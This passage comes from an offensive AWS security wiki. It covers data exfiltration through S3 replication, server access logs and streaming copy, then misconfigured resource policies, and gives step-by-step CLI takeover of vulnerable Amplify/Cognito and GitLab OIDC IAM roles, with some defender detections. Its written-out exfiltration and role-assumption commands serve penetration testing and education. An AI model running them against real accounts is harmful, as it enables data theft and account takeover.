      Like most things in AWS, the replication service requires a user supplied role to carry out the replication on your behalf. To replicate all data (including existing objects), an example trust policy and permission set would look something like:

      Trust Policy

      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"Service\": [\n                    \"s3.amazonaws.com\",\n                    \"batchoperations.s3.amazonaws.com\"\n                ]\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

      IAM Permissions

      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"s3:GetReplicationConfiguration\",\n                \"s3:ListBucket\",\n                \"s3:PutInventoryConfiguration\",\n                \"s3:InitiateReplication\"\n            ],\n            \"Resource\": \"*\"\n        },\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"s3:GetObjectVersionForReplication\",\n                \"s3:GetObjectVersionAcl\",\n                \"s3:GetObjectVersionTagging\"\n            ],\n            \"Resource\": \"*\"\n        },\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"s3:ReplicateObject\",\n                \"s3:ReplicateDelete\",\n                \"s3:ReplicateTags\"\n            ],\n            \"Resource\": \"*\"\n        },\n        {\n         \"Sid\": \"OnlyRequiredIfReplicatingEncryptedObjects\",\n         \"Effect\":\"Allow\",\n         \"Action\":[\n            \"kms:Decrypt\"\n         ],\n         \"Condition\":{\n            \"StringLike\":{\n               \"kms:EncryptionContext:aws:s3:arn\":[\n                  \"arn:aws:s3:::SOURCEBUCKET/*\"\n               ]\n            }\n         },\n         \"Resource\":[\n            \"KEY ID IN SOURCE ACCOUNT CURRENTLY ENCRYPTING OBJECTS\" \n         ]\n      },\n      {\n        \"Sid\": \"OnlyRequiredIfReplicatingEncryptedObjectsToo\",\n        \"Effect\":\"Allow\",\n         \"Action\":[\n            \"kms:Encrypt\"\n         ],\n         \"Condition\":{\n            \"StringLike\":{\n               \"kms:EncryptionContext:aws:s3:arn\":[\n                  \"arn:aws:s3:::DESTINATIONBUCKET/*\"\n               ]\n            }\n         },\n         \"Resource\":[\n            \"KEY ID IN DESTINATION ACCOUNT TO BE SPECIFIED IN REPLICATION POLICY\" \n         ]\n      }\n    ]\n}\n

      "},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#kms-if-objects-are-encrypted","title":"KMS - If objects are encrypted","text":"

      Minimum Required IAM Permissions - Source Account

      • kms:PutKeyPolicy

      Where a KMS policy is configured to only allow a subset of principals to access an encrypted S3 object, the key policy will need to be updated to allow the above replication role access to decrypt the S3 objects.

      "},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#attacker-account-configuration","title":"Attacker Account Configuration","text":"

      Minimum Required IAM Permissions (Destination Account)

      • s3:PutBucketPolicy
      • kms:CreateKey, kms:PutKeyPolicy
      • s3:PutBucketVersioning

      In order for a bucket to receive logs from another account, it requires a bucket policy explicitly allowing the replication of objects across. An example of this policy is below.

      Destination Bucket Policy

      {\n   \"Version\":\"2012-10-17\",\n   \"Id\":\"\",\n   \"Statement\":[\n      {\n         \"Sid\":\"Set permissions for objects\",\n         \"Effect\":\"Allow\",\n         \"Principal\":{\n            \"AWS\":\"arn:aws:iam::SOURCE_ACCOUNT_ID:role/S3_REPLICATION_ROLE\"\n         },\n         \"Action\":[\n            \"s3:ReplicateObject\", \n            \"s3:ReplicateDelete\"],\n         \"Resource\":\"arn:aws:s3:::DESTINATION_BUCKET/*\"\n      },\n      {\n         \"Sid\":\"Set permissions on bucket\",\n         \"Effect\":\"Allow\",\n         \"Principal\":{\n            \"AWS\":\"arn:aws:iam::SOURCE_ACCOUNT_ID:role/S3_REPLICATION_ROLE\"\n         },\n         \"Action\":[\n            \"s3:List*\", \n            \"s3:GetBucketVersioning\", \n            \"s3:PutBucketVersioning\"],\n         \"Resource\":\"arn:aws:s3:::DESTINATION_BUCKET\"\n      }\n   ]\n}\n

      If the S3 objects in the source account are encrypted, a key must be created in the destination account to encrypt the objects on replication. Additionally, a pre-requisite of bucket replication is that Bucket Versioning is enabled on the destination bucket.

      "},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#configuring-the-replication","title":"Configuring the replication","text":"

      Minimum Required IAM Permissions - Source Account

      • s3:PutBucketReplication
      • iam:PassRole
      • s3:CreateJob & s3:UpdateJobStatus (Creating and starting a S3 batch replication job)
      • s3:PutBucketVersioning (Only if not already enabled)

      The final step is to configure the replication between the source and destination buckets. Depending on whether you use the CLI or console, the steps can change slightly. The full process for both options is documented by AWS here.

      In line with the steps above, ensure that: - Specify your created S3 replication role - Replicate existing objects (Disabled by default) - Select Replicate KMS Encrypted objects if needed (Disabled by default) - The Key ID should be the KMS key in the destination account.

      "},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#what-defenders-can-look-for","title":"What defenders can look for","text":"
      • Unknown PutBucketReplication or JobCreated events in the Cloudtrail Management trail. The JobCreated event is generated when an S3 Batch operation job has been created, indicating that all existing objects in a bucket are being replicated across, as opposed to only future S3 objects.
      • When an encrypted object is replicated, KMS Decrypt/Encrypt events will appear in a Cloudtrail Management trail, with a principalID and sts assumed role prefixed with 's3-replication'. These encryption events will reference a KMS key in another account - which may trigger certain data perimeter detections.

      • Unknown PutBucketVersioning events (a pre-requisite of bucket replication) on existing S3 buckets, recorded by the Cloudtrail Management trail.

      "},{"location":"aws/exploitation/s3_server_access_logs/","title":"Data Exfiltration through S3 Server Access Logs","text":"
      • Original Research

        Cloud services as exfiltration mechanisms by Costas Kourmpoglou

      If we have control over an IAM identity that allows s3:GetObject, depending on the network access to the S3 service, we can use S3 server access logs to a bucket we control, and use it to exfiltrate data.

      With server access logging, every request to our S3 bucket will be logged to a separate logging bucket. This includes internal AWS requests, or requests made via the AWS console. Even if a request is denied, the payload that the request is carrying, will be sent to our logging bucket. We can then send GetObject requests to s3 buckets, that we don't have access to, but because we control the server access logs, we will still receive the data that we want to exfiltrate in the first place.

      "},{"location":"aws/exploitation/s3_server_access_logs/#how","title":"How","text":"

      We'll create an S3 bucket, AttackerBucket in our account with server access logging. Let's name the logging bucket AttackerBucketLogs. With our data in hand ExampleDataToExfiltrate, we will send a GetObject request to our bucket, for example:

      aws s3api get-object --bucket AttackerBucket --key ExampleDataToExfiltrate

      The request will be denied. However the attempt along with the other details, including our key ExampleDatatoExfiltrate - which is the data we're exfiltrating - will arrive to our logging bucket AttackerBucketLogs.

      We'll receive the data in the default logging format:

      [..] attackerbucket [\u2026] 8.8.8.8 \u2013 [\u2026] REST.GET.OBJECT ExampleDataToExfiltrate \"GET / ExampleDataToExfiltrate HTTP/1.1\" 403 AccessDenied 243 - 18 - \"-\" \"UserAgentAlsoHasData \" \u2013 [\u2026]\n

      We're exfiltrating data, using the Key parameter of the request. There's a hard limit of 1024 bytes per Key, but other request fields can be used like User-Agent.

      "},{"location":"aws/exploitation/s3_server_access_logs/#challenges","title":"Challenges","text":"

      There are two challenges with this method:

      1. If the network access to the S3 service takes place over a VPC endpoint, then the policy of the VPC endpoint would need to allow access to our bucket. The VPC endpoint will drop the request and will not forward it to the S3 service, if the policy doesn't allow it. The S3 service won't be able to generate logs, and we won't be able to exfiltrate data.

      2. The logs are not guaranteed to arrive in order. If you're splitting data across multiple requests, you'll need to figure out a mechanism to re-order the data correctly.

      For the general usecase where network access to the S3 service takes place over the internet, there is a 10-120 minute delay, in the log delivery.

      "},{"location":"aws/exploitation/s3_streaming_copy/","title":"S3 Streaming Copy","text":"

      Shout Out to Janardhan Prabhakara for showing me this all those years ago!

      Requirements: a shell, terminal session, command prompt, a victim's AWS Access Key or STS token, an attacker AWS key and bucket to land in a separate account.

      Why would anyone use this?

      In many environments AWS to AWS traffic is largely unfiltered and voluminous. As well, an attacker may find a key that can perform GetObject action on S3, but not PutObject. Or perhaphs, more likely, an attacker would like to hide their exfiltration commands.

      If an attacker lands a shell on an EC2 Instance of the victim, any issued aws commands will be coming from an expected/trusted network which is even less likely to be detected. However, S3 Streaming Copy techniques can also be used from any terminal with aws-cli.

      When this attack is perfomed the S3 GetObject call is recorded in the VICTIM cloudtrail dataevents (if enabled, which is unlikley) But, the S3 PutObject call is recorded in the ATTACKER's cloudtrail. The VICTIM cannot see the S3 PutObject side of the copy in AWS Cloudtrail.

      When using the aws-cli utilize the --profile to specify the IAM context profile from the .aws/credentials file.

      Step 1: setup an profile in .aws/credentials for the ATTACKER credentials. These are credentials from your attacker controlled account aka not the victims credentials

      [attacker]\naws_access_key_id = <attacker_key_id>\naws_secret_access_key = <attacker_secret_key>\n

      Step 2: Create a profile for the VICTIM credentials. These are the keys attained with access to the victim's AWS enviornment.

      Note

      This step is optional if using a shell on a VICTIM EC2, running an EC2 instance profile that has the permissions to test.

      [victim]\naws_access_key_id = <victim_key_id>\naws_secret_access_key = <victim_secret_key>\n

      Step 3: example: S3 Stream Copy command for a single file from cli

      aws s3 cp --profile victim s3://victim_bucket/juicy_data.txt - | (aws s3 cp --profile attacker  - s3://attacker_bucket/juicy_data.txt )\n

      Step 3: example: S3 Stream Copy command for a single file from cli of an Ec2 instance using the Instance Profile

      aws s3 cp s3://victim_bucket/juicy_data.txt - | (aws s3 cp --profile attacker  - s3://attacker_bucket/juicy_data.txt )\n

      Prevention: A known, but not very common, way to prevent this is by mandating S3 communication through a VPC Endpoint and applying a VPC Endpoint Policy that denies any request that does not match the principalOrgId.

      This is becoming more common with the popularity of Data Perimeter guardrails

      Note

      If this technique doesn't work, it is possible there is a VPC Endpoint policy is in place. Try making the ATTACKER destination bucket in another AWS Region as Cross-region calls typically do not traverse a VPC Endpoint.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/","title":"Misconfigured Resource-Based Policies","text":"

      Resource-based policies are an often overlooked part of AWS security that can have significant implications. A resource-based policy is a type of policy that is attached directly to an AWS resource that describes what actions can be performed on it and by whom.

      For example, the following is a bucket policy (a type of resource-based policy) that would permit the tester user to list the contents of the super-public-fun-bucket S3 bucket.

      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"AllowS3Listing\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::111111111111:user/tester\"\n            },\n            \"Action\": \"s3:ListBucket\",\n            \"Resource\": \"arn:aws:s3:::super-public-fun-bucket\"\n        }\n    ]\n}\n

      Resource-based policies make it easy to share AWS resources across AWS accounts. They also, as a result, make it easy to unintentionally share resources. The common example of this is misconfigured S3 buckets which leak sensitive information.

      For a Penetration Tester or Red Teamer it is important to understand the intricacies of how resource-based policies work, and how they can be abused.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#the-principal-and-risks","title":"The \u201c*\u201d Principal and Risks","text":"

      In a resource-based policy you must specify a \u201cprincipal\u201d. This is the entity who is allowed (or denied) the ability to perform the action. It is possible to specify \u201c*\u201d as a principal which means that all users will be able to act on it. This effectively makes the resource public and anyone can perform actions against it.

      For a real world example of this, a telecommunications company had the following bucket policy set.

      {\n  \"Sid\": \"AllowPublicRead\",\n  \"Effect\": \"Allow\",\n  \"Principal\": {\n    \"AWS\": \"*\"\n  },\n  \"Action\": [\n    \"s3:GetObject\",\n    \"s3:PutObject\"\n  ],\n  \"Resource\": \"arn:aws:s3:::media.tellacom.com/taskrouter/*\"\n}\n

      The bucket this policy was attached to was used to distribute a JavaScript SDK, which would be a valid use-case for a public S3 bucket. As can be seen from the Action statement, the policy permitted both s3:GetObject and s3:PutObject. This enabled an attacker to overwrite the JavaScript SDK sitting in the bucket with malicious code. This code was then distributed from the legitimate bucket.

      While resource-based policy misconfigurations are often associated with leaking information (read), it is equally as dangerous that an adversary could modify (write to) the resource(s).

      Note

      Condition operators can be used to scope down the policy. For example, the principal can be set to \u201c*\u201d but the conditions can enforce which account can perform an action. It is important to thoroughly read the policy and understand the context before creating a finding for it.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#more-than-just-s3-buckets","title":"More Than Just S3 Buckets","text":"

      It is worth noting that there are many different AWS services/resources which make use of resource-based policies. Each service will have its own security implications based on what the principal is and what the actions are.

      Note

      Prowler, an AWS assessment tool, can be used to quickly audit resource policies in an AWS account. Be mindful that it cannot contextualize all condition operators, and how they affect the account\u2019s security.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#dumping-and-analyzing-resource-based-policies-at-scale","title":"Dumping and analyzing resource-based policies at scale","text":"

      You can download a copy of all resource-based policies configured in an account and run security linting checks against them using the aws-lint-iam-policies tool. It performs linting checks using the AWS IAM Access Analyzer policy validation feature, which also brings along a list of security-focused checks.

      Example invocation:

      python aws_lint_iam_policies.py --scope ACCOUNT --dump-policies\n

      Instead of analyzing a single AWS account, the tool can also target all accounts of an AWS Organization.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#resource-based-policy-evaluation-logic","title":"Resource-Based Policy Evaluation Logic","text":"

      It is important to note that resource-based policies have a unique quirk when it comes to policy evaluation logic. From the documentation, \u201cDepending on the type of principal, an Allow in a resource-based policy can result in a final decision of Allow, even if an implicit deny in an identity-based policy, permissions boundary, or session policy is present [within the same account]\u201d.

      Note

      An implicit deny is when there is no specific Deny statement, but there is also no Allow statement in a policy. You can think of an implicit deny as the starting point of a policy. Everything is denied by default and access has to be granted.

      An explicit deny is when there is a specific Deny statement in a policy.

      More information can be found in the documentation for the difference between explicit and implicit denies.

      This means that if there is an Allow in a resource policy, that entity can perform actions on the resource without an associated identity policy. Take the following SNS topic access policy (a form of resource-based policy) for example:

      {\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::111111111111:user/tester\"\n      },\n      \"Action\": [\n        \"SNS:GetTopicAttributes\",\n        \"SNS:SetTopicAttributes\"\n      ],\n      \"Resource\": \"arn:aws:sns:us-east-1:111111111111:test_topic\"\n    }\n  ]\n}\n
      This policy would permit the tester IAM user to perform sns:GetTopicAttributes and sns:SetTopicAttributes without the need for an Allow in the identity policies attached to the user.

      Note

      This behavior only applies to entities in the same AWS account. If the resource-based policy specified an IAM user in a different AWS account, that user would need to have an identity policy attached that allowed the action.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#not-policy-elements","title":"\u201cNot\u201d Policy Elements","text":"

      Within the syntax for IAM policies in AWS exist three \u201cNot\u201d policy elements, NotPrincipal, NotAction, and NotResource. These elements have the inverse effect of their similarly named counterparts and, when paired with an Allow, can be a very serious misconfiguration.

      Because of this, policies which include these elements should be strictly scrutinized for potential misconfigurations.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#notprincipal","title":"NotPrincipal","text":"

      The NotPrincipal element is used to specify which entity is not a part of the policy. When paired with an Allow this means that all entities (including those outside of the account) will be permitted to perform actions against the resource.

      For example, the following SNS access policy would permit any entity to perform sns:GetTopicAttributes except for the jim user.

      {\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"NotPrincipal\": {\n        \"AWS\": \"arn:aws:iam::111111111111:user/jim\"\n      },\n      \"Action\": \"SNS:GetTopicAttributes\",\n      \"Resource\": \"arn:aws:sns:us-east-1:111111111111:test_topic\"\n    }\n  ]\n}\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#notaction","title":"NotAction","text":"

      The NotAction element is used to specify all actions except the specified one. When paired with an Allow this means that all actions except the ones specified will be permitted.

      For example, the following SNS access policy would permit any entity the ability to perform all SNS actions except sns:Publish.

      {\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"NotAction\": \"SNS:Publish\",\n      \"Resource\": \"arn:aws:sns:us-east-1:111111111111:test_topic\"\n    }\n  ]\n}\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#notresource","title":"NotResource","text":"

      The NotResource element is used to specify all resources except the specified one. When paired with an Allow this means that if the resource is incorrect, or mistyped, the statement will evaluate to true.

      For example, the following SNS access policy for an SNS topic named first_topic would permit the user jim the ability to perform the sns:GetTopicAttributes action because the statement specifies a NotResource element of second_topic.

      {\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::222222222222:user/jim\"\n      },\n      \"Action\": \"SNS:GetTopicAttributes\",\n      \"NotResource\": \"arn:aws:sns:us-east-1:111111111111:second_topic\"\n    }\n  ]\n}\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/","title":"CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios","text":"
      • Original Research

        Amplified exposure: How AWS flaws made Amplify IAM roles vulnerable to takeover by Nick Frichette

      • Additional Resources

        AWS Security Bulletin: CVE-2024-28056

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#background","title":"Background","text":"

      In April of 2024, Security Researchers at Datadog found a vulnerability in the AWS Amplify service that exposed IAM roles associated with the service to takeover. In particular, under two different scenarios the Amplify service was setting the role trust policies of certain roles to improperly limit which Cognito identity pool could assume them. As a result, anyone could create their own identity pool (or find one on the internet) and use it to assume these vulnerable roles.

      In response to this, AWS made a number of changes to IAM and the AWS Security Token Service (STS) APIs. In particular, this involved:

      • Releasing a fix to the Amplify CLI and Amplify Studio preventing the creation of more vulnerable roles.
      • Made changes to the IAM control plane to prevent anyone from creating role trust policies vulnerable to this misconfiguration. If you try to set a vulnerable policy today it will be rejected.
      • Made changes to the STS service to block cross-account role assumption of roles that have a vulnerable trust relationship with the Amazon Cognito service.

      This final fix is interestingly specific. AWS only made changes to block cross-account role assumption, not same-account role assumption. As a result of this, we can still potentially take advantage of roles that were made vulnerable by the Amplify service. This requires an identity pool to be configured in the victim account with the basic (classic) authflow enabled.

      Warning

      To be clear, this method is more difficult and requires the existence of at least one additional misconfigured resource, however it is worthwhile to know about if you are a Penetration Tester or Red Teamer, or you simply use Amplify in your own organization.

      Note

      This is not realistically something that can be \"fixed\". AWS was able to block cross-account role assumption because it was a sufficiently rare occurrence. By comparison, same-account role assumption using Cognito is (as of today) the only method available. If you have IAM roles in your account which are vulnerable to this exposure it is recommended to delete them, or change their trust policy in addition to relying on the fixes that AWS provided.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#unauthenticated-example","title":"Unauthenticated Example","text":"

      In this scenario, there exists a vulnerable role in the account, alongside an identity pool that has the basic authflow enabled. This role's trust policy does not require authentication to assume. Here is an example of a vulnerable trust policy:

      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"Federated\": \"cognito-identity.amazonaws.com\"\n            },\n            \"Action\": \"sts:AssumeRoleWithWebIdentity\"\n        }\n    ]\n}\n

      Note

      There is another variant of this misconfiguration where the trust policy includes a condition for cognito-identity.amazonaws.com:amr that is set to unauthenticated.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#steps-to-exploit","title":"Steps to Exploit","text":"

      In order to assume a role that has this vulnerable trust policy, follow these steps:

      1. Using the AWS CLI, perform the following command: aws cognito-identity get-id --identity-pool-id <victim identity pool id>
        • This can typically be found in the client side JavaScript of the web application using this identity pool.
      2. Using the IdentityId from step one, perform the following command: aws cognito-identity get-open-id-token --identity-id <identity id from step 1>
        • This will return a JWT we can use to authenticate to the vulnerable role. You can inspect this JWT if you so choose.
      3. With this JWT, perform the following command: aws sts assume-role-with-web-identity --role-arn <vulnerable role ARN> --role-session-name <session name of your choosing> --web-identity-token <JWT from step 2>
        • The vulnerable role ARN will need to be brute-forced, derived from other values, found in source control, or a variety of other means.

      By following these steps you should successfully generate IAM credentials for the vulnerable role:

      {\n    \"Credentials\": {\n        \"AccessKeyId\": \"ASIA123ABC456DEF789G\",\n        \"SecretAccessKey\": \"123ABC456DEF789G123ABC456DEF789GHI012JKL\",\n        \"SessionToken\": \"...snip...\",\n        \"Expiration\": \"2024-07-31T20:02:33+00:00\"\n    },\n    \"SubjectFromWebIdentityToken\": \"us-east-1:00000000-1111-2222-3333-444444444444\",\n    \"AssumedRoleUser\": {\n        \"AssumedRoleId\": \"AROA123ABC456DEF789G:hijacked_role\",\n        \"Arn\": \"arn:aws:sts::111111111111:assumed-role/vulnerable-amplify-role/hijacked_role\"\n    },\n    \"Provider\": \"cognito-identity.amazonaws.com\",\n    \"Audience\": \"us-east-1:aaaaaaaa-1111-bbbb-2222-cccccccccccc\"\n}\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#authenticated-example","title":"Authenticated Example","text":"

      In an authenticated scenario, the identity pool in the victim account must be configured to support authentication with a Cognito user pool. An example vulnerable role trust policy can be found below:

      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"Federated\": \"cognito-identity.amazonaws.com\"\n            },\n            \"Action\": \"sts:AssumeRoleWithWebIdentity\",\n            \"Condition\": {\n                \"ForAnyValue:StringLike\": {\n                    \"cognito-identity.amazonaws.com:amr\": \"authenticated\"\n                }\n            }\n        }\n    ]\n}\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#steps-to-exploit_1","title":"Steps to Exploit","text":"

      In order to assume a role that has this vulnerable trust policy, follow these steps:

      1. First, find credentials for a user account in the pool. If you cannot steal or create credentials you cannot continue.
      2. Authenticate to the user pool using cognito-idp:InitiateAuth. The specific command you will need to use will differ depending on the type of authentication in place. Please refer to the documentation for more information. Here we will demonstrate using USER_PASSWORD_AUTH.
        • Run the following command: aws cognito-idp initiate-auth --auth-flow USER_PASSWORD_AUTH --client-id <client id of the victim user pool> --auth-parameters USERNAME=<username>,PASSWORD=<password>
        • This will return an IdToken that will be used in the next step.
        • Note: The AccessToken is NOT the same as the IdToken.
      3. Run the following command: aws cognito-identity get-id --identity-pool-id <victim identity pool id> --logins '{\"cognito-idp.<region>.amazonaws.com/<victim user pool id>\":\"<IdToken from step 2>\"}'
        • This will return an IdentityId that will be used in the next step.
      4. Run the following command: aws cognito-identity get-open-id-token --identity-id <IdToken from step 3> --logins '{\"cognito-idp.us-east-1.amazonaws.com/<victim user pool id>\":\"<IdToken from step 2>\"}'
        • Note: You MUST include the logins parameter, it is not optional.
        • This will return a JWT we will use in the next step.
      5. With this JWT, perform the following command: aws sts assume-role-with-web-identity --role-arn <vulnerable role ARN> --role-session-name <session name of your choosing> --web-identity-token <JWT from step 4>

      By following these steps you should successfully generate IAM credentials for the vulnerable role.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/","title":"Exploiting Misconfigured GitLab OIDC AWS IAM Roles","text":"

      OpenID Connect (OIDC) is a common technology used to authorize services outside of AWS to assume IAM roles. As has been shown many times in the past (examples: one, two, and three), these roles can be misconfigured, permitting anyone in the world the ability to assume a vulnerable role.

      In this article, we will explain a potential misconfiguration of AWS IAM roles when using GitLab OIDC, walk through how to exploit them step-by-step, and explain how the AWS Console causes this misconfiguration by default.

      Warning

      In this article, we are only covering misconfigured roles with a trust relationship to the gitlab.com SaaS offering. In theory this attack could be performed on a self-hosted version of GitLab as well, however we have not tried it. If you have, feel free to open a pull request and update this article as needed.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/#iam-role-misconfiguration-using-gitlab-oidc","title":"IAM role misconfiguration using GitLab OIDC","text":"

      According to the GitLab documentation, AWS IAM roles that are using OIDC to authenticate should have a trust policy that looks like the following:

      {\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"Federated\": \"arn:aws:iam::AWS_ACCOUNT:oidc-provider/gitlab.com\"\n      },\n      \"Action\": \"sts:AssumeRoleWithWebIdentity\",\n      \"Condition\": {\n        \"StringEquals\": {\n          \"gitlab.com:sub\": \"project_path:mygroup/myproject:ref_type:branch:ref:main\"\n        }\n      }\n    }\n  ]\n}\n

      There are several important elements of this trust policy including:

      • Principal.Federated: This is the identity provider that authorizes the role assumption. It is important to note that while each AWS account will have its own identity provider, this is simply a stand-in for the global gitlab.com provider.
      • Action: This is the specific type of assume role being used. In this case it is sts:AssumeRoleWithWebIdentity.
      • gitlab.com:sub: This is an optional condition which restricts the group, project, or branch which is permitted to assume the role.

      The word \"optional\" from the previous sentence is why this attack is possible. There is no requirement to include a condition which restricts which specific group or project is permitted to assume a role. As a result of this anyone with access to gitlab.com could assume a role with this misconfiguration.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/#how-to-exploit-this-misconfiguration","title":"How to exploit this misconfiguration","text":"

      In this situation we will assume a role that has the following trust policy:

      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": \"sts:AssumeRoleWithWebIdentity\",\n            \"Principal\": {\n                \"Federated\": \"arn:aws:iam::AWS_ACCOUNT:oidc-provider/gitlab.com\"\n            },\n            \"Condition\": {\n                \"StringEquals\": {\n                    \"gitlab.com:aud\": [\n                        \"https://gitlab.com\"\n                    ]\n                }\n            }\n        }\n    ]\n}\n

      Note

      In this example there is no condition on the sub field, restricting who is permitted to assume the role. This is the default trust policy that is set when creating a role through the AWS Console. More on this later.

      To exploit this misconfigured role, we must generate a JWT that can be used to authorize the sts:AssumeRoleWithWebIdentity invocation. To do this, create an account on gitlab.com or use an existing one.

      Next, create a project, and in this newly created project, create a file called .gitlab-ci.yml. This is the configuration file for GitLab CI. Add the following content to the .gitlab-ci.yml file:

      assume role:\n  id_tokens:\n    GITLAB_OIDC_TOKEN:\n      aud: https://gitlab.com\n  script:\n    - echo ${GITLAB_OIDC_TOKEN} | base64 -w 0\n

      Warning

      The base64 -w 0 is required because GitLab will mask the output if you simply echo the GITLAB_OIDC_TOKEN.

      After adding this content to the .gitlab-ci.yml file, navigate to \"Build > Jobs\" on the left side, and click on the most recent CI job. Here you should see the OIDC token that we base64 encoded.

      From here, decode the base64 encoded blob (base64 -d) to get the original GITLAB_OIDC_TOKEN. This is the JWT you will use in the following sts:AssumeRoleWithWebIdentity call.

      Note

      You can optionally decode this value to see that the issuer is https://gitlab.com. This is what is being validated in the sts:AssumeRoleWithWebIdentity and because there is no condition on the sub field, we are able to assume the misconfigured role.

      nick.frichette@host ~ % aws sts assume-role-with-web-identity \\\n--role-arn <ARN of misconfigured role>\n--role-session-name <session name of your choosing>\n--web-identity-token  <JWT from previous step>\n{\n    \"Credentials\": {\n        \"AccessKeyId\": \"ASIAEXAMPLE123EXAMPL\",\n        \"SecretAccessKey\": \"EXAMPLE123EXAMPLE123EXAMPLE123EXAMPLE123\"\n        \"SessionToken\": \"[..snip..]\",\n        \"Expiration\": \"2024-09-01T23:20:01+00:00\"\n    },\n    \"SubjectFromWebIdentityToken\": \"project_path:secres/runner-test:ref_type:branch:ref:main\",\n    \"AssumedRoleUser\": {\n        \"AssumedRoleId\": \"AROAEXAMPLE123EXAMPL:blah\",\n        \"Arn\": \"arn:aws:sts::111111111111:assumed-role/vuln-gitlab-runner-role/blah\"\n    },\n    \"Provider\": \"arn:aws:iam::111111111111:oidc-provider/gitlab.com\",\n    \"Audience\": \"https://gitlab.com\"\n}\n

      You have successfully used a JWT generated from gitlab.com to assume a misconfigured IAM role!

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/#how-the-aws-console-causes-this-misconfiguration-by-default","title":"How the AWS console causes this misconfiguration by default","text":"

      If you've been following along, you may wonder, \"Why would anyone make this misconfiguration? The GitLab documentation provides an example that is secure\". Misconfigurations occur for a wide variety of reasons and in a wide variety of scenarios, however this one may have a more clear cut reason.

      When creating IAM roles in the AWS console, developers can choose a trusted entity for Web identity. This will pre-populate the trust policy of the IAM role and generally makes things easier. However, when a developer chooses Web identity and selects gitlab.com as the identity provider, there is no requirement for a condition on the sub field. Using the AWS console to create the IAM role will generate a vulnerable role by defualt.

      Compare this behavior to GitHub Actions or Terraform Cloud. In both of these situations, AWS made changes to the AWS Console to require additional fields to mitigate this type of attack.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/","title":"Abusing Misconfigured ECR Resource Policies","text":"

      AWS Elastic Container Registry (ECR) private repositories use resource-based policies to delineate which entities are permitted to push and pull containers. As a result, it is possible for these policies to be misconfigured and potentially abused. The following are some examples of possible misconfigurations and the required permissions needed to take advantage of them.

      Note

      Aside from the wildcard principal, you should also be mindful of overbroad permissions in general, such as permitting an entire AWS account to have access.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#understanding-ecrgetauthorizationtoken","title":"Understanding ecr:GetAuthorizationToken","text":"

